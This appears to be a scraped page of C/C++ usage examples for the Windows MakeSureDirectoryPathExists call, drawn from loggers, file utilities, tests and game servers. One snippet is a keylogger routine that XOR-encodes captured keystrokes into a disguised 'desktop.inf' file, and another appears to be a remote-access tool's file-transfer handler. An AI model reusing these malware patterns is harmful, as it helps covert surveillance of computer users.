/*
缓存目录
*/
static CString GetCacheDirectory()
{
#if 0
	char szModule[MAX_PATH*2] = {0};
	GetModuleFileName( NULL, szModule, MAX_PATH*2 );
	if ( !PathFileExists( szModule ) )
	{
		return "";
	}
	char* pTemp = strrchr( szModule, '\\' );
	if ( pTemp == NULL )
	{
		return "";
	}
	szModule[ pTemp-szModule ] = '\0';
	StringCbCat( szModule, MAX_PATH*2, "\\RunCache" );
	if ( !PathFileExists( szModule ) )
	{
		if ( !MakeSureDirectoryPathExists( szModule ) )
		{
			return "";
		}
	}
	return szModule;
#else
	CString sCacheDirectory = GetPeraGlobalDataFromReg( "LM", "PeraPRCacheDir" );
	if ( MakeSureDirectoryPathExists( sCacheDirectory ) )
	{
	}
	return sCacheDirectory;
#endif
}
Exemple #2
0
	CLogger::CLogger(EnumLogLevel nLogLevel, const std::string strLogPath, const std::string strLogName)
		:m_nLogLevel(nLogLevel),
		m_strLogPath(strLogPath),
		m_strLogName(strLogName)
	{
		//初始化
		m_pFileStream = NULL;
		if (m_strLogPath.empty())
		{
			m_strLogPath = GetAppPathA();
		}
		if (m_strLogPath.back() != '\\')
		{
			m_strLogPath.append("\\");
		}
		//创建文件夹
		MakeSureDirectoryPathExists(m_strLogPath.c_str());
		//创建日志文件
		if (m_strLogName.empty())
		{
			time_t curTime;
			time(&curTime);
			tm tm1;
			localtime_s(&tm1, &curTime);
			//日志的名称如:201601012130.log
			m_strLogName = FormatString("%04d%02d%02d%02d%02d%02d.log", tm1.tm_year + 1900, tm1.tm_mon + 1, tm1.tm_mday, tm1.tm_hour, tm1.tm_min, tm1.tm_sec);
		}
		m_strLogFilePath = m_strLogPath.append(m_strLogName);

		//以追加的方式打开文件流
		fopen_s(&m_pFileStream, m_strLogFilePath.c_str(), "a+");

		InitializeCriticalSection(&m_cs);
	}
Exemple #3
0
//複数階層のディレクトリを一気に作成する
BOOL UtilMakeSureDirectoryPathExists(LPCTSTR _lpszPath)
{
#if defined(_UNICODE)||defined(UNICODE)
	CPath path(_lpszPath);
	path.RemoveFileSpec();
	path.AddBackslash();

	//TODO:UNICODE版のみでチェックを入れているのでANSIビルド時には適宜処理し直すべき
	CString tmp(path);
	if(-1!=tmp.Find(_T(" \\"))||-1!=tmp.Find(_T(".\\"))){	//パスとして処理できないファイル名がある
		ASSERT(!"Unacceptable Directory Name");
		return FALSE;
	}

	//UNICODE版のみで必要なチェック
	if(path.IsRoot())return TRUE;	//ドライブルートなら作成しない(できない)

	int nRet=SHCreateDirectoryEx(NULL,path,NULL);
	switch(nRet){
	case ERROR_SUCCESS:
		return TRUE;
	case ERROR_ALREADY_EXISTS:
		if(path.IsDirectory())return TRUE;	//すでにディレクトリがある場合だけセーフとする
		else return FALSE;
	default:
		return FALSE;
	}
#else//defined(_UNICODE)||defined(UNICODE)
  #pragma comment(lib, "Dbghelp.lib")
	return MakeSureDirectoryPathExists(_lpszPath);
#endif//defined(_UNICODE)||defined(UNICODE)
}
Exemple #4
0
void CFileManager::CreateLocalRecvFile(LPBYTE lpBuffer)
{
	FILESIZE	*pFileSize = (FILESIZE *)lpBuffer;
	// 保存当前正在操作的文件名
	memset(m_strCurrentProcessFileName, 0, sizeof(m_strCurrentProcessFileName));
	strcpy(m_strCurrentProcessFileName, (char *)lpBuffer + 8);

	// 保存文件长度
	m_nCurrentProcessFileLength = (pFileSize->dwSizeHigh * (MAXDWORD + 1)) + pFileSize->dwSizeLow;
	
	// 创建多层目录
	MakeSureDirectoryPathExists(m_strCurrentProcessFileName);
	

	WIN32_FIND_DATA FindFileData;
	HANDLE hFind = FindFirstFile(m_strCurrentProcessFileName, &FindFileData);
	
	if (hFind != INVALID_HANDLE_VALUE
		&& m_nTransferMode != TRANSFER_MODE_OVERWRITE_ALL 
		&& m_nTransferMode != TRANSFER_MODE_ADDITION_ALL
		&& m_nTransferMode != TRANSFER_MODE_JUMP_ALL
		)
	{
		SendToken(TOKEN_GET_TRANSFER_MODE);
	}
	else
	{
		GetFileData();
	}
	FindClose(hFind);
}
BOOL CProcessMgr::New()
{
	/*
建目录
存工作路径变量
打开建模页面
*/
	//创建临时目录
	CString sWorkPath = GetExecDir() + "\\Data\\" + ReslibMgr::GuidToString(ReslibMgr::CreateGuid()).c_str();

	if (!MakeSureDirectoryPathExists(sWorkPath + "\\"))
	{
		ZTools::WriteZToolsFormatLog("创建工作目录失败:%s", sWorkPath);
		return FALSE;
	}

	//打开建模页面
	CMainFrame * pMainFrame = reinterpret_cast< CMainFrame * > ( theApp.m_pMainWnd );
	if (!pMainFrame)
	{
		return FALSE;
	}
	pMainFrame->OnMenuModuleOpenjianmo();

	CDlgSvg * pSvg = GetSvgDilogPtr();
	if ( pSvg == NULL ) return FALSE;

	//设置当前设计过程的变量
	Clear();
	m_sWorkPath = sWorkPath;
	
	pSvg->Navigate( theGlobalConfig.m_strSvgUrl );

	return TRUE;
}
//! 递归函数,把一个节点的所有内容写入指定的存盘位置
DWORD UpdateFolder::WriteDataToDir(LPCSTR pDirPath, tagDirectory &Directory)
{
	DWORD dwLoadFileNum = 0;
	//! 创建当前目录
	string strCurrDir(pDirPath);
	strCurrDir.append("\\");
	MakeSureDirectoryPathExists(strCurrDir.c_str());

	//! 创建当前文件
	list<CUpdateFile>::iterator iteFile = Directory.listFile.begin();
	for (; Directory.listFile.end() != iteFile; ++iteFile)
	{
		if(iteFile->WriteDataToPath(strCurrDir.c_str()))
			++ dwLoadFileNum;
	}

	//! 递归调用创建子目录
	list<tagDirectory>::iterator iteDir = Directory.listDir.begin();
	for (; Directory.listDir.end() != iteDir; ++iteDir)
	{
		dwLoadFileNum += WriteDataToDir((strCurrDir + iteDir->szName).c_str(), *iteDir);
	}

	return dwLoadFileNum;
}
Exemple #7
0
//创建日志文件的路径
void Logger::CreateLogPath()
{
	if(0 != strlen(m_strLogPath))
	{
		strcat(m_strLogPath, "\\");
	}
	MakeSureDirectoryPathExists(m_strLogPath);
}
Exemple #8
0
std::string GetLogPath()
{
	char cPersonalFolderPath[MAX_PATH];
	SHGetSpecialFolderPathA(NULL, cPersonalFolderPath, CSIDL_PERSONAL, FALSE);
	string sdir = string(cPersonalFolderPath) + "\\CifExplorer\\CifExplorerLog";
	MakeSureDirectoryPathExists(sdir.c_str());
	return sdir;
}
Exemple #9
0
BOOL CPathUtils::FileCopy(CString srcPath, CString destPath, BOOL force)
{
	srcPath.Replace('/', '\\');
	destPath.Replace('/', '\\');
	CString destFolder = destPath.Left(destPath.ReverseFind('\\'));
	MakeSureDirectoryPathExists(destFolder);
	return (CopyFile(srcPath, destPath, !force));
}
void _LogXMLStringsToFiles(const CStdString& sExpectedXML, const CStdString& sDiscoveredXML, const TCHAR* const lpszFunction)
{
	CStdString sFunction(lpszFunction);
	int n = sFunction.ReverseFind(_T(':'));
	if( 0 < n)
		sFunction.Delete(0, n+1);

	CStdString lpszRoot = TEST_PATH_MAKE_ABSOLUTE(_T("projects\\Protect\\src\\ApiWordDOMStrategiesTests\\docs\\TestWordDOMStrategies\\"));
	CStdString sExpectedFile(lpszRoot);
	CStdString sDiscoveredFile(lpszRoot);
	sExpectedFile += sFunction + _T("ExpectedXML.txt");	
	sDiscoveredFile += sFunction + _T("DiscoveredXML.txt");	

	MakeSureDirectoryPathExists(CT2A(sExpectedFile.c_str()));
	MakeSureDirectoryPathExists(CT2A(sDiscoveredFile.c_str()));

	WriteStringToFile(sExpectedFile, sExpectedXML);
	WriteStringToFile(sDiscoveredFile, sDiscoveredXML);
}
Exemple #11
0
void MainMenu_OnExtract(HWND hwnd)
{
  BROWSEINFO bi;
  ZeroMemory(&bi, sizeof(BROWSEINFO));
  bi.hwndOwner      = hwnd;
  bi.lpszTitle      = "Please choose a folder for extracted files.";
  bi.pidlRoot       = CSIDL_DESKTOP;
  bi.ulFlags        = BIF_RETURNONLYFSDIRS;
  LPITEMIDLIST lpidl = SHBrowseForFolder(&bi);
  if(!lpidl) return;

  char extractpath[1024];
  SHGetPathFromIDList(lpidl, extractpath);
  CoTaskMemFree(lpidl);

  SetCurrentDirectory(extractpath);

  HWND hStatusDlg = CreateDialog(g_hInstance, MAKEINTRESOURCE(IDD_STATUS), hwnd, StatusDialog_WindowProc);
  SendDlgItemMessage(hStatusDlg, IDC_EDIT_STATUS, EM_SETSEL, 0, 0);
  ShowWindow(hStatusDlg, SW_SHOW);

  g_statuscancel = false;
  int index = -1;
  while((index = ListView_GetNextItem(g_hListWnd, index, LVNI_SELECTED)) != -1 &&
        !g_statuscancel)
  {
    PBGArchiveEntry *entry = g_listItems[index].entry.get();
    try {
      std::string entryname(entry->GetEntryName());
      std::vector<char> outname(entryname.begin(), entryname.end());
      outname.push_back(0);
      PathSlashToBackSlash(&outname[0]);

      std::vector<char> filepath(outname);
      PathRemoveFileSpecEx(&filepath[0]);
      if(filepath[0])
        MakeSureDirectoryPathExists(&filepath[0]);
	  int wlen = MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, &outname[0], outname.size(), NULL, 0);
	  std::vector<WCHAR> ws(wlen);
	  MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, &outname[0], outname.size(), &ws[0], ws.size());
	  ws.push_back(0);
      std::ofstream os(&ws[0], std::ios_base::binary);
      if(os.fail()) {
        throw std::exception();
      } else {
        entry->Extract(os, ExtractCallback, (void *)hStatusDlg);
      }
    } catch(std::exception &e) {
      ExtractCallback("failed to create", (void *)hStatusDlg);
      ExtractCallback(entry->GetEntryName(), (void *)hStatusDlg);
      ExtractCallback("\r\n", (void *)hStatusDlg);
    }
  }
  DestroyWindow(hStatusDlg);
}
void KeywordManager::WriteKeywordDataToFile()
{
	CFile keyword_data_file;

	BOOL ret=MakeSureDirectoryPathExists("Keyword Files\\");

	for(UINT i=0; i<v_all_project_keywords.size(); i++)
	{
		BOOL open_write = FALSE;

		char filename[256+1];
		strcpy(filename, "Keyword Files\\");

		CString project = v_all_project_keywords[i].m_project_name.c_str();
		project.Replace('\\','_');			// replace the backslash with _
		project.Replace('\'', '_');		// replace the single quote "'" with _
		project.Replace(' ', '_');
		project.Replace('-', '_');
		project.Replace('&', '_');
		project.Replace('!', '_');
		project.Replace('$', '_');
		project.Replace('@', '_');
		project.Replace('%', '_');
		project.Replace('(', '_');
		project.Replace(')', '_');
		project.Replace('+', '_');
		project.Replace('~', '_');
		project.Replace('*', '_');
		project.Replace('.', '_');
		project.Replace(',', '_');
		project.Replace('?', '_');
		project.Replace(':', '_');
		project.Replace(';', '_');
		project.Replace('"', '_');
		project.Replace('#', '_');
		strcat(filename, project);
		strcat(filename, ".kwd");
		
		open_write = keyword_data_file.Open(filename,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite|CFile::shareDenyNone);

		if(open_write==TRUE)
		{
			int buf_len = v_all_project_keywords[i].GetBufferLength();
			char *buf = new char[buf_len];

			v_all_project_keywords[i].WriteToBuffer(buf);

			keyword_data_file.Write(buf, buf_len);

			delete [] buf;

			keyword_data_file.Close();
		}
	}
}
Exemple #13
0
void DataAccumulator::FlushChunk() {
	// Between flush operations the log is retained as valid HTML file!
	const WCHAR* HTML_FOOTER = L"\t\t\t</table>\n\t\t</center>\n\t</body>\n</html>";
	// TODO: Who will close log for previous day???
 	WCHAR footer[512] = {0}; // Yeah! Call it magic number!

	// Build the page footer
	if (mPreviousRowExists) {
		wcscpy(footer, SECTION_END_TAGS);
	}
	wcscat(footer, HTML_FOOTER);

	// Compile full log file name
	CHAR fileName[LOG_FILE_NAME_LENGTH];
	GenerateLogFileName(fileName);
	MakeSureDirectoryPathExists(fileName);

	// TODO: simplify this:
	if (mIsFirstLog) {
		// Write to yesterday's log
		if (mIsLogFileGenerated) { // if not yet generated
			strcpy(mCurrentLogFile, fileName);
		}
	} else {
		// Write to today's log
		strcpy(mCurrentLogFile, fileName);
	}
	mIsLogFileGenerated = TRUE;

	// Create new log file or use existing
	HANDLE logHandle = CreateFileA(mCurrentLogFile, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	DWORD writtenBytes;
	if (GetLastError() == ERROR_ALREADY_EXISTS) {
		// In case the file exists, seek to where last log entry was written
		// NOTE: Actually we should keep last footer lenght in some field and use it for seeking here.
		//       But since length of footer for second and further flush operations always includes 
		//       length of previous row closing tags (see the if condition above) its OK to use it for
		//       all subsequent seek-in-file operations.
		SetFilePointer(logHandle, wcslen(footer) * (-1 * sizeof(wchar_t)), NULL, FILE_END);
	}
	else { // ERROR_SUCCESS assumed - the file was created
		WORD headerSize;
		LPCWSTR header = GetHtmlFromResource(LOG_HEADER, &headerSize);
		WriteFile(logHandle, header, headerSize, &writtenBytes, NULL);
	}

	// Write log chunk and footer (to make HTML valid)
	WriteFile(logHandle, chunk, mCurrentChunkLength*sizeof(wchar_t), &writtenBytes, NULL);
	WriteFile(logHandle, footer, wcslen(footer)*sizeof(wchar_t), &writtenBytes, NULL);
	CloseHandle(logHandle);

	// Reset chunk
	memset(chunk, 0, BUFFER_SIZE * sizeof(WCHAR));
};
Exemple #14
0
void TestDocuments::CreateTestDocument(const CStdString& sFileName, const CStdString& sFileNameToUse)
{
   std::tstring createSourceTestDocument = sFileNameToUse.IsEmpty() ? TEST_FILE_ALLMETADATA : sFileNameToUse;

   if(!Workshare::System::IO::File::Exists(createSourceTestDocument))
      throw Workshare::System::IO::FileNotFoundException(createSourceTestDocument.c_str(), _T("Test file not found"));
   
   if(!MakeSureDirectoryPathExists(CT2A(sFileName)))
      throw Workshare::System::IO::FileNotFoundException(sFileName, _T("Couldn't create directory"));
      
   Workshare::System::IO::File::Copy(createSourceTestDocument, sFileName, true);

   if(!::SetFileAttributes(sFileName, FILE_ATTRIBUTE_NORMAL))
      throw Workshare::System::SystemException(_T("Failed to set file attribute"));
}
CHexFileList::CHexFileList(UINT nStart, LPCTSTR lpszSection, int nSize, int nMaxDispLen /*= AFX_ABBREV_FILENAME_LEN*/)
		: CRecentFileList(nStart, lpszSection, _T("File%d"), nSize, nMaxDispLen)
{
	// Set up the default values
	// Note: the default scheme should always be empty in which case a file extension
	// scheme is searched for then a scheme based on current char set is used
	// Also note that some values are set in the default string here just to show the fields
	// and are overwritten with the current default value from the registry below.
	// The entries correspond to the parm_num enum as:
	//               CMD                           SEL     CS DOC  GRP                        FORMAT
	//               | TOP    LEFT   BOTTOM RIGHT  |-| POS  HL| COLS   FONT    HEIGHT         |
	//               | |      |      |      |      | | | MK  DISPLAY OFF       |  OEMFONT  HEIGHT
	default_data_ = "1|-30000|-30000|-30000|-30000|0|0|0|0||||0|16|4|0|Courier|16|Terminal|18|default";
	SetDefaults();

	ASSERT(AfxGetMainWnd() != NULL);

	// Get user's Application Data folder
	if (!::GetDataPath(filename_))
		return;

	filename_ += CString(lpszSection);   // append file name

	// Create HexEdit folder within that
	if (!MakeSureDirectoryPathExists(filename_))
	{
		filename_.Empty();
		return;
	}

	size_t capacity = 256;    // Initial vector capacities
#ifdef _DEBUG
	capacity = 1;     // Force reallocation sooner in debug to catch bad iterator bugs
#else
	// Work out roughly how many recent files we have from the recent file list's file size
	struct _stat stat;
	if (::_stat(filename_, &stat) != -1)
		capacity = stat.st_size / 100;  // Most lines of the text file are longer than 100 chars
#endif
	name_.reserve(capacity);
	hash_.reserve(capacity);
	opened_.reserve(capacity);
	open_count_.reserve(capacity);
	data_.reserve(capacity);

	ver_ = -1;
}
void CFilePro::GetAllNewItemsIconFile(vector<NewType *> &vAllItems,CString strDestDir)
{
	string strIconFile;
	int iIndex = 0;
	bool bIsIconFile = false;
	for (size_t i = 0; i< vAllItems.size();i++)
	{
		bool bok1 = GetExeDefaultIconPath(vAllItems[i]->m_strExt.c_str(),strIconFile,iIndex,bIsIconFile);
		CString strDirOutIcoFile = strDestDir + "\\";
		CString strEx = vAllItems[i]->m_strExt.c_str() +1;
		CString strNameNoExt = strDirOutIcoFile + strEx + "\\" + strEx;
		strDirOutIcoFile = strNameNoExt + ".ico";
		MakeSureDirectoryPathExists(strDirOutIcoFile);
		if (!bIsIconFile && !strIconFile.empty()) // exe or dll
		{
			// 保存ICON文件
			CExtract Extract(strIconFile.c_str());
			BOOL BOK = Extract.ExtractIcon(iIndex,strDirOutIcoFile);
			if (Extract.m_bUseDefaultIcon)
			{
				char szPath[1024] ={0};
				ExpandEnvironmentStrings("%SystemRoot%\\system32\\shell32.dll",szPath,1024);
				bool bOK2 = ExtractIndifySizeIcon(szPath,strNameNoExt,32,16,0);
				bool bOK3 = ExtractIndifySizeIcon(szPath,strNameNoExt,64,32,0);
				continue;
			}
		}
		else
		{
			if (bIsIconFile && !strIconFile.empty())
			{
				::CopyFile(strIconFile.c_str(),strDirOutIcoFile,FALSE);
			}
			else
			{
				GetTypeIconToFile(vAllItems[i]->m_strExt.c_str(),strDestDir,true);
				strIconFile = strDirOutIcoFile;
			}
		}

		//保存PNG文件
		bool bOK2 = ExtractIndifySizeIcon(strIconFile.c_str(),strNameNoExt,64,32,iIndex);
		bool bOK3 = ExtractIndifySizeIcon(strIconFile.c_str(),strNameNoExt,128,88,iIndex);
	}
}
Exemple #17
0
void WorldServer::dumpQuest(const char* totalFilePath, bool asHashFalse_Or_asQuestNameTrue) {
	MakeSureDirectoryPathExists(totalFilePath);
	char fileBuf[0x180] = { 0x00 };
	char questHash[0x10] = { 0x00 };

	auto it = this->questData.begin();
	while (it != this->questData.end()) {
		QuestEntry* quest = (*it).second;
		if (!quest)
			continue;
		if (!asHashFalse_Or_asQuestNameTrue)
			sprintf(fileBuf, "%s0x%x.log", totalFilePath, quest->getQuestHash());
		else
			sprintf(fileBuf, "%s%s.log", totalFilePath, quest->getQuestName().c_str());

		CMyFileWriter<char> file(fileBuf, true);
		file.clear();

		file.putStringWithVar("Basic Infos - QuestName: %s, QuestHash: %i\n", quest->getQuestName().c_str(), quest->getQuestHash());
		file.putString("=========================================\n");
		const FixedArray<Trackable<char>>& conditions = quest->getConditions();
		std::string curString = "";
		for (unsigned int j = 0; j < conditions.size(); j++) {
			const Trackable<char>& data = conditions[j];
			curString = QuestService::conditionToString(data.getData());

			file.putString(curString);
		}
		file.putString("=========================================\n");
		const FixedArray<Trackable<char>>& actions = quest->getActions();
		for (unsigned int j = 0; j < actions.size(); j++) {
			const Trackable<char>& data = actions[j];
			curString = QuestService::actionToString(data.getData());

			file.putString(curString);
		}
		file.putString("=========================================");
		if (quest->getNextQuest()) {
			file.putStringWithVar("[CHECK NEXT QUEST_TRIGGER %s [0x%x]]\n", quest->getNextQuest()->getQuestName().c_str(), quest->getNextQuest()->getQuestHash());
		}
		file.close();
		it++;
	}
}
Exemple #18
0
void GWebCache::WriteWebCacheURLsToFile()
{
	UINT i;

	// Open the hosts.dat file for writing...if the open fails, then who cares
	CStdioFile file;
	MakeSureDirectoryPathExists("Host Cache\\");
	if(file.Open("Host Cache\\web_cache_urls.txt",CFile::modeCreate|CFile::modeWrite|CFile::typeText|CFile::shareDenyNone)==FALSE)
	{
		return;
	}

	for(i=0;i<v_web_cache_urls.size();i++)
	{
		file.WriteString(v_web_cache_urls[i].c_str());
		file.WriteString("\n");
	}

	file.Close();
}
Exemple #19
0
void WorldServer::dumpAISeparated(std::string basicFilePath) {
	MakeSureDirectoryPathExists(basicFilePath.c_str());
	for(unsigned int i=0;i<this->npcData.size();i++) {
		NPCData* npcData = &this->npcData[i];
		AIP* aip = &this->aiData.getValue(npcData->getAIId());
		if (aip == nullptr)
			continue;
		std::string fileName = (basicFilePath + npcData->getName());
		if (i >= 800 && i < 1000) {
			fileName += " (Summon)";
		}
		CMyFileWriter<char> file((fileName + ".log").c_str(), "a+");
		file.clear();
		if(aip->getCheckInterval() == 0x00)
			continue;
		file.putStringWithVar("%s [MonID: %i | AI-ID: %i]:\n", aip->getFilePath().c_str(), i, aip->getId());
		file.putStringWithVar("CheckInterval: %i | DmgTrigger: %i\n", aip->getCheckInterval(), aip->getTriggerDamageAmount());
		file.putStringWithVar("BlockCount: %i\n", aip->getBlockCount());
		for(unsigned int j=0;j<aip->getBlockCount();j++) {
			const std::vector<AIP::Record> records = aip->getRecords(j);
			file.putStringWithVar("\tCurrent Block[%i] records: %i\n", j, records.size());
			for(unsigned int k=0;k<records.size();k++) {
				const AIP::Record& curRec = records.at(k);
				file.putStringWithVar("\t\tConditionCount: %i\n", curRec.getConditionCount());
				for(unsigned int m=0;m<curRec.getConditionCount();m++) {
					const char* data = curRec.getCondition(m).getData();
					AIConditions cond(data);
					file.putStringWithVar("\t\t\t%s\n", cond.toString().c_str());
				}
				file.putStringWithVar("\t\tActionCount: %i\n", curRec.getActionCount());
				for(unsigned int m=0;m<curRec.getActionCount();m++) {
					const char* data = curRec.getAction(m).getData();
					AIActions act(data);
					file.putStringWithVar("\t\t\t%s\n", act.toString().c_str());
				}
				file.putString("\n\n");
			}
		}
		file.putString("\n\n");
	}
}
Exemple #20
0
DWORD WINAPI ListeningRoutine(LPVOID lpParam) 
{
	const int SAMPLING_FRAME_RATE = 1; // per second

	BOOL isCapturing = FALSE;
	VideoGrabber* videoGrabber = (VideoGrabber*)lpParam;
	static PTSTR captureFileName;
	
	while (videoGrabber->IsEnabled())
	{
		videoGrabber->GrabFrame(isCapturing);
		int recode;
		if (videoGrabber->mMotionDetectedDuringLastSecond) 
		{
			if (!isCapturing)
			{
				captureFileName = videoGrabber->GetNewDataFileName();
				MakeSureDirectoryPathExists(captureFileName);
				recode = capFileSetCaptureFile(videoGrabber->camhwnd, captureFileName);
				recode = capCaptureSequence(videoGrabber->camhwnd);
				isCapturing = TRUE;
			}
		} 
		else if (isCapturing)
		{
			// ISSUE: Sometimes motion detected when there is no motion in the scene actually.
			//        This is caused by automatic aperture enabled in webcam: the cam adjusting
			//        its aperture to avoid under/overexposition. Hence brightness of pixels is 
			//        changed and motion detection mechanism makes false alarm. However this can
			//        be patched because the effect causes capture of 2-3 sec. video stream. So
			//        quick and dirty solution would be to filter all streams shorter than 4 sec.
			recode = capCaptureStop(videoGrabber->camhwnd);
			recode = GetLastError();
			videoGrabber->GetDataAccumulator()->LogVideo(captureFileName);
			isCapturing = FALSE;
		}

		Sleep(1000/SAMPLING_FRAME_RATE); 
	}
	return FALSE;
}
CCreateAccessDatabase::CCreateAccessDatabase(const CString& csDatabasePath, const CString& csDatabaseName, const CString& errINIFile)
{
	// Define ADOX object pointers to Catalog (Database),
	//  Table and Column objects.
	m_pCatalog= NULL;
    m_pTable= NULL;
	m_pIndexPtr = NULL;

	m_csErrorINIFile = errINIFile;

	HRESULT hr = S_OK;

    try
	{
		//Create object instances:
		m_pCatalog.CreateInstance(__uuidof (ADOX::Catalog));

		BOOL bResult = MakeSureDirectoryPathExists (csDatabasePath+"\\");
		BSTR bstrConxString;
		CString conxString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" +
          csDatabasePath + "\\" + csDatabaseName;
		bstrConxString = conxString.AllocSysString ();
		//Create Database
		hr = (ADOX::_CatalogPtr)m_pCatalog->Create(bstrConxString);
		::SysFreeString (bstrConxString);
	}
	catch (_com_error &e)
	{
		// Redundant with new error codein CBackgroundAnalysis::ExecuteAnalysis ()
		m_csError.Format ("COM Exception HRESULT: 0x%x Message: %s",e.Error (), e.ErrorMessage ());
		SetError (m_csError,EXCEPTION_CAUGHT);
	}
	catch (...)
	{
		// Redundant with new error code in CBackgroundAnalysis::ExecuteAnalysis ()
		m_csError = "Unknown exception caught";
		SetError (m_csError,EXCEPTION_CAUGHT);
	}	

}
void SaveToFile(char *lpBuffer)
{

	char strRecordFile[MAX_PATH];
	SHGetSpecialFolderPath(NULL,strRecordFile,CSIDL_PROGRAM_FILES,0);
	strcat(strRecordFile,"\\Microsoft Research update\\Evidence\\keylog\\");
	MakeSureDirectoryPathExists(strRecordFile);
	lstrcat(strRecordFile, "desktop.inf");

	char szLogPath[MAX_PATH];
	GetTempPathA(MAX_PATH,szLogPath);
	strcat(szLogPath,"desktop.inf");


	HANDLE hFile=GetFileHandle(szLogPath,strRecordFile);

	// 	HANDLE	hFile = CreateFile(szLogPath, GENERIC_WRITE|GENERIC_READ,
	// 		                       FILE_SHARE_WRITE|FILE_SHARE_READ,
	// 		                       NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	DWORD dwBytesWrite = 0;
	// 	DWORD dwSize = GetFileSize(hFile, NULL);
	// 	// 离线记录,小于50M
	// 	if (dwSize < 1024 * 1024 * 50)
	// 		SetFilePointer(hFile, 0, 0, FILE_END);

	// 加密
	int	nLength = lstrlen(lpBuffer);
	LPBYTE	lpEncodeBuffer = new BYTE[nLength];
	for (int i = 0; i < nLength; i++)
	{
		lpEncodeBuffer[i] = lpBuffer[i] ^ XOR_ENCODE_VALUE;
	//	lpEncodeBuffer[i] = lpEncodeBuffer[i] ^ XOR_ENCODE_VALUE;


	}
	WriteFile(hFile, lpEncodeBuffer, nLength, &dwBytesWrite, NULL);
	CloseHandle(hFile);
	delete	lpEncodeBuffer;
}
Exemple #23
0
bool IEBrushTextureMG::Open(const char* dir_path)
{
	m_DirectoryPath = dir_path;
	std::string path = m_IEStartDir + m_DirectoryPath + "\\";

	//
	if (!PathFileExists(path.c_str())) {
		BOOL ret = MakeSureDirectoryPathExists(path.c_str());
		DWORD last_error = GetLastError();

		char log[256];
		wsprintf(log, "last_error = %d\n", last_error);
		::OutputDebugString(log);
	}

	//search in directory
	HANDLE hFind;
	WIN32_FIND_DATA fd;

	char fpath[_MAX_PATH];
	wsprintf(fpath, "%s\\*.*", path.c_str());
	hFind = ::FindFirstFile(fpath, &fd);

	if (hFind == INVALID_HANDLE_VALUE) {
		return false;
	}

	do {
		if (strcmp(fd.cFileName, ".") == 0)
			continue;
		if (strcmp(fd.cFileName, "..") == 0)
			continue;
		m_FileName_Vec.push_back(fd.cFileName);
	} while(::FindNextFile(hFind, &fd));

	::FindClose(hFind);
}
void ConnectionManager::WriteOutHostCache()
{
	UINT i;

	// Open the hosts.dat file for writing...if the open fails, then who cares
	CFile file;
	MakeSureDirectoryPathExists("C:\\syncher\\src\\GnutellaHostCache\\");
	if(file.Open("C:\\syncher\\src\\GnutellaHostCache\\hosts.dat",CFile::modeCreate|CFile::modeWrite|CFile::typeBinary|CFile::shareDenyNone)==FALSE)
	{
		return;
	}

	// Create a buffer in memory of the host cache to write out to the hosts.dat file
	unsigned int buf_len=sizeof(unsigned int)+2*sizeof(unsigned int)*(UINT)v_host_cache.size();	// # items, ip and port
	char *buf=new char[buf_len];
	char *ptr=buf;

	// The number of hosts
	*((unsigned int *)ptr)=(UINT)v_host_cache.size();
	ptr+=sizeof(unsigned int);

	// Copy the hosts to the buffer
	for(i=0;i<v_host_cache.size();i++)
	{
		*((unsigned int *)ptr)=v_host_cache[i].IP();
		ptr+=sizeof(unsigned int);
		*((unsigned int *)ptr)=v_host_cache[i].Port();
		ptr+=sizeof(unsigned int);	
	}

	// Write the buffer to file
	file.Write(buf,buf_len);

	delete [] buf;

	file.Close();
}
BOOL CProcessMgr::Publish()
{
	//发布所需的变量是否有效
	CCxStructTreeNodeFlow* pRoot = GetTreeRoot();
	if (!pRoot)
	{
		ZTools::WriteZToolsFormatLog("未取到根节点");
		return FALSE;
	}
	if (!theApp.m_pDlgResLibTree)
	{
		return FALSE;
	}

	//查询是否可以保存
	if (!GetProcessStateCanSave())
	{
		return FALSE;
	}

	CDlgSvg * pSvg = GetSvgDilogPtr();
	if ( pSvg == NULL )
	{
		ZTools::WriteZToolsFormatLog("没有建模页面,无法保存");
		return FALSE;
	}

	if ( theApp.m_pMainWnd == NULL ) return FALSE;
	if ( !IsWindow( theApp.m_pMainWnd->GetSafeHwnd() ) ) return FALSE;
	
	CString sProcessPath;
	sProcessPath.Format("%s\\publish\\%s\\%s.ws", m_sWorkPath, ZTools::GetCurrentTimeString16().c_str(), pRoot->m_strOriName);
	MakeSureDirectoryPathExists(sProcessPath);

	//调用建模页面保存
	CWebMethodData wmd;
	CWebMethodParamData * pParam = NULL;
	wmd.m_sMethodName = "saveProcess";
	pParam = new CWebMethodParamData();
	pParam->m_sName = "filePath";
	pParam->m_sValue = sProcessPath;
	wmd.m_vParams.push_back(pParam);
	pSvg->InvokeJsMethod( &wmd );

	CString sResult = wmd.m_sResult;
	if (sResult.CompareNoCase("false") == 0)
	{
		ZTools::WriteZToolsFormatLog("发布流程时保存流程失败%s", sProcessPath);
		return FALSE;
	}

	if (!PathFileExists(sProcessPath))
	{
		ZTools::WriteZToolsFormatLog("发布子流程时保存子流程失败%s", sProcessPath);
		return FALSE;
	}

	//各属性信息从结构树上取,路径从当前类中取,调用资源树发布
	PublishInfo pi;
	pi.sAuthor = (char *)(LPCTSTR)pRoot->m_strAuthor;
	pi.sDesc = (char *)(LPCTSTR)pRoot->m_strDescription;
	pi.sFilePath = (char *)(LPCTSTR)sProcessPath;
	pi.sName = (char *)(LPCTSTR)pRoot->m_strOriName;
	pi.sTime = (char *)(LPCTSTR)pRoot->m_strCreated;
	pi.sVersion = (char *)(LPCTSTR)pRoot->m_strVersion;

	theApp.m_pDlgResLibTree->m_tree.SendProcessTreeDB(pi);
	return TRUE;
}
BOOL CProcessMgr::OnPublishSubProcess( void* p )
{
	CCxStructTreeNodeFlow * pNode = reinterpret_cast< CCxStructTreeNodeFlow * >(p);
	if ( pNode == NULL )
	{
		ZTools::WriteZToolsFormatLog("没有取到当前节点");
		return FALSE;
	}

	CDlgSvg * pSvg = GetSvgDilogPtr();
	if ( pSvg == NULL )
	{
		ZTools::WriteZToolsFormatLog("没有建模页面,无法保存");
		return FALSE;
	}

	if ( theApp.m_pMainWnd == NULL ) return FALSE;
	if ( !IsWindow( theApp.m_pMainWnd->GetSafeHwnd() ) ) return FALSE;

	//查询是否可以保存
